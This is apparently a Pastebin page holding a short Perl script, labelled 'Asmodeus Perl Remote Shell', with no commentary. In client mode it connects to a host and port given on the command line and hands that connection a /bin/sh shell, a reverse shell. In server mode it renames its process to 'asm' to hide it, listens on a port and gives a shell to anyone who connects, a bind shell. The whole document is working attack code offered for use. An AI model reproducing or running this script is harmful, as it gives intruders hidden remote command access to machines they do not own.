Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use Socket;
- $cs=$ARGV[0];
- $port=$ARGV[1];
- $host=$ARGV[2];
- if ($cs eq 'client') {&client}
- elsif ($cs eq 'server') {&server}
- sub client{
- socket(TO_SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
- $internet_addr = inet_aton("$host") or die "ALOA:$!\n";
- $paddr=sockaddr_in("$port", $internet_addr);
- connect(TO_SERVER, $paddr) or die "$port:$internet_addr:$!\n";
- open(STDIN, ">&TO_SERVER");
- open(STDOUT, ">&TO_SERVER");
- open(STDERR, ">&TO_SERVER");
- print "Asmodeus Perl Remote Shell\n";
- system(date);
- system("/bin/sh");
- close(TO_SERVER);
- }
- sub server{
- $proto=getprotobyname('tcp');
- $0="asm";
- $system='/bin/sh';
- socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
- setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
- bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
- listen(SERVER, SOMAXCONN) or die "listen: $!";
- for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {
- open(STDIN, ">&CLIENT");
- open(STDOUT, ">&CLIENT");
- open(STDERR, ">&CLIENT");
- print "Asmodeus Perl Remote Shell\n";
- system(date);
- system("/bin/sh");
- close(STDIN);
- close(STDOUT);
- close(STDERR);
- return;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement